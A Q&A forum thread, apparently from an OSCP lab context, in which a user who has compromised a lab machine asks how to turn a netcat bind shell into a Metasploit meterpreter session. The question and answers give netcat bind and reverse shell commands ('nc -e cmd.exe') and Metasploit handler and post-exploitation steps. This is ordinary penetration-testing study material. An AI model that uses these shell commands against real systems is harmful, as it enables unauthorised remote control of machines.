3

I've been trying for hours and failing to do something that should be simple!

I have a box w/ admin (taking OSCP - nothing illegal). I used an RDP exploit, got a shell, added a user, put user in administrators group and as I sit I currently am on an rdesktop with an administrator.

Given - TARGET - 192.168.1.200, I have an admin shell and access to rdesktop. Have uploaded nc.exe

KALI - My machine - 192.168.1.100.

What I am trying to do is open a LISTENING port on the TARGET ... c:\nc -lvp 9999 -e c:\windows\system32\cmd.exe

...connect to that open port from my KALI box while using metasploit framework. I can connect using nc 192.168.1.200 9999, but I can't make that connection a metasploit session.

Then turn this connection into a meterpreter session using post/multi/manage/shell_to_meterpreter

Thanks!

0

2 Answers 2

2

I got it!!!

https://www.youtube.com/watch?v=LRS05gvcvdk

I needed to set my TARGET listener to port 4444. Then I run multi/handler, then payload windows/shell_bind_tcp

Exploit and I get the shell. Ctrl-Z to background the session, then run: post/multi/manage/shell_to_meterpreter on the session and bam got it running!

1

schroeder is rigth you should connect to it from your client with nc -v 192.168.1.100 4040 (place your ip and your port) or use a windows/shell/bind_tcp payload from the msfconsole and then upgrade the session to meterpreter. post explotation shell to meterpreter

and the second thig is , I think you will not get a reverse connection from your server just by nc -nvl 9090 -e cmd.exe (this command just open the port 9090 and redirection every input , output, to a cmd instance and its a "bind server" the -l option is to listen , to generate a reverse server with nc you should run nc -v 10.10.1.10 4040 -e cmd.exe and your machine as the listener)

1
  • i think instead of leaving a answer you should edit your question and describe better because the situation its not clear . ok you succesfully penetrate the system 192.168.1.200 and you get a cmd shell. (what payload thit you use ??? what type of connection did you set ??) from whre ?? i think you are missing a lot of info ... (i leave it here because i cant leave him a comment )
    – Sarastro
    Dec 22, 2015 at 1:21

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .